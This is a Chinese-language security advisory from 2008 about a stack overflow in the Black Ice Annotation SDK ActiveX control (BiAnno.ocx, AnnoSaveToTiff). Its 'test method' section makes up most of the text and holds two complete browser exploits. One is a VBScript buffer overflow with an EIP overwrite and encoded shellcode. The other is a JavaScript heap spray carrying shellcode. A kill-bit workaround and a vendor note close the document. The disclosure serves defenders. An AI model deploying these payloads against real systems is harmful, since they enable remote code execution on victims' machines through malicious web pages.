发布日期：2008-06-10
更新日期：2008-06-16

受影响系统：

Black Ice Annotation SDK/ActiveX Plug-In 10.9.5.0

描述：

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BUGTRAQ  ID: 29635

Annotation SDK/ActiveX是Black Ice图形工具包中的图形编辑插件。

Annotation SDK/ActiveX插件所安装的BiAnno Control ActiveX控件（BiAnno.ocx）在处理AnnoSaveToTiff()函数参数时存在栈溢出漏洞，如果用户受骗访问了恶意网页并向该函数传送了超长参数的话，就可以触发这个溢出，导致执行任意指令。

<*来源：shinnai （shinnai@autistici.org）
  
  链接：http://secunia.com/advisories/30603/
*>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

<object classid='clsid:B27DC3CE-FF81-4DCF-9B80-0E69D61BED2A' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
Sub tryMe
  buff      = String(524, "A")

  get_EIP   = unescape("%EB%BA%3F%7E") 'call ESP from user32.dll

  nop       = String(9, unescape("%90"))

  shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _
              unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _
              unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _
              unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _
              unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%54") & _
              unescape("%42%30%42%50%42%50%4b%58%45%54%4e%53%4b%58%4e%37") & _
              unescape("%45%50%4a%47%41%30%4f%4e%4b%38%4f%44%4a%51%4b%48") & _
              unescape("%4f%55%42%42%41%30%4b%4e%49%44%4b%48%46%43%4b%38") & _
              unescape("%41%30%50%4e%41%53%42%4c%49%49%4e%4a%46%58%42%4c") & _
              unescape("%46%57%47%50%41%4c%4c%4c%4d%50%41%30%44%4c%4b%4e") & _
              unescape("%46%4f%4b%53%46%35%46%32%46%30%45%37%45%4e%4b%48") & _
              unescape("%4f%35%46%32%41%50%4b%4e%48%56%4b%38%4e%50%4b%54") & _
              unescape("%4b%48%4f%55%4e%31%41%30%4b%4e%4b%38%4e%41%4b%38") & _
              unescape("%41%30%4b%4e%49%58%4e%35%46%42%46%50%43%4c%41%43") & _
              unescape("%42%4c%46%36%4b%48%42%34%42%33%45%38%42%4c%4a%37") & _
              unescape("%4e%30%4b%48%42%34%4e%50%4b%48%42%57%4e%31%4d%4a") & _
              unescape("%4b%38%4a%46%4a%50%4b%4e%49%50%4b%48%42%38%42%4b") & _
              unescape("%42%30%42%50%42%30%4b%48%4a%36%4e%53%4f%35%41%33") & _
              unescape("%48%4f%42%46%48%35%49%58%4a%4f%43%48%42%4c%4b%57") & _
              unescape("%42%55%4a%46%42%4f%4c%48%46%50%4f%35%4a%46%4a%49") & _
              unescape("%50%4f%4c%38%50%30%47%55%4f%4f%47%4e%43%56%41%36") & _
              unescape("%4e%46%43%46%50%52%45%36%4a%37%45%36%42%30%5a")

  egg       = buff + get_EIP + get_EIP + nop + shellcode + nop

  'As you can see, I use get_EIP two times. That's because the first one is useful
  'to call our shellcode, the second one is just to bypass an exception.

  test.AnnoSaveToTiff egg, 1
End Sub
</script>



<object id=boom classid="clsid:B27DC3CE-FF81-4DCF-9B80-0E69D61BED2A"></object>

<input language=JavaScript onclick=tryMe() type=button value="Launch Exploit">

<script>
var shellcode = unescape( "%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
                           "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
                           "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
                           "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
                           "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
                           "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
                           "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
                           "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
                           "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
                           "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
                           "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
                           "%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
                           "%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
                           "%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
                           "%u652E%u6578%u9000");

var spraySlide = unescape("%u9090%u9090");
var heapSprayToAddress = 0x0c0c0c0c;

  function tryMe()
   {
    var size_buff = 666;
    var x =  unescape("%0c%0c%0c%0c");
    while (x.length<size_buff) x += x;
    x = x.substring(0,size_buff);

    boom.AnnoSaveToTiff(x, 1);
   }
    
  function getSpraySlide(spraySlide, spraySlideSize)
   {
    while (spraySlide.length*2<spraySlideSize)
     {
      spraySlide += spraySlide;
     }
    spraySlide = spraySlide.substring(0,spraySlideSize/2);
    return (spraySlide);
   }

var heapBlockSize = 0x100000;
var SizeOfHeapDataMoreover = 0x5;
var payLoadSize = (shellcode.length * 2);

var spraySlideSize = heapBlockSize - (payLoadSize + SizeOfHeapDataMoreover);
var heapBlocks = (heapSprayToAddress+heapBlockSize)/heapBlockSize;

var memory = new Array();
spraySlide = getSpraySlide(spraySlide,spraySlideSize);

for (i=0;i<heapBlocks;i++)
  {
    memory[i] = spraySlide +  shellcode;
  }
</script>

建议：

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临时解决方法：

* 为CLSID：B27DC3CE-FF81-4DCF-9B80-0E69D61BED2A设置kill bit。

厂商补丁：

Black Ice
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.blackice.com/barcode.htm

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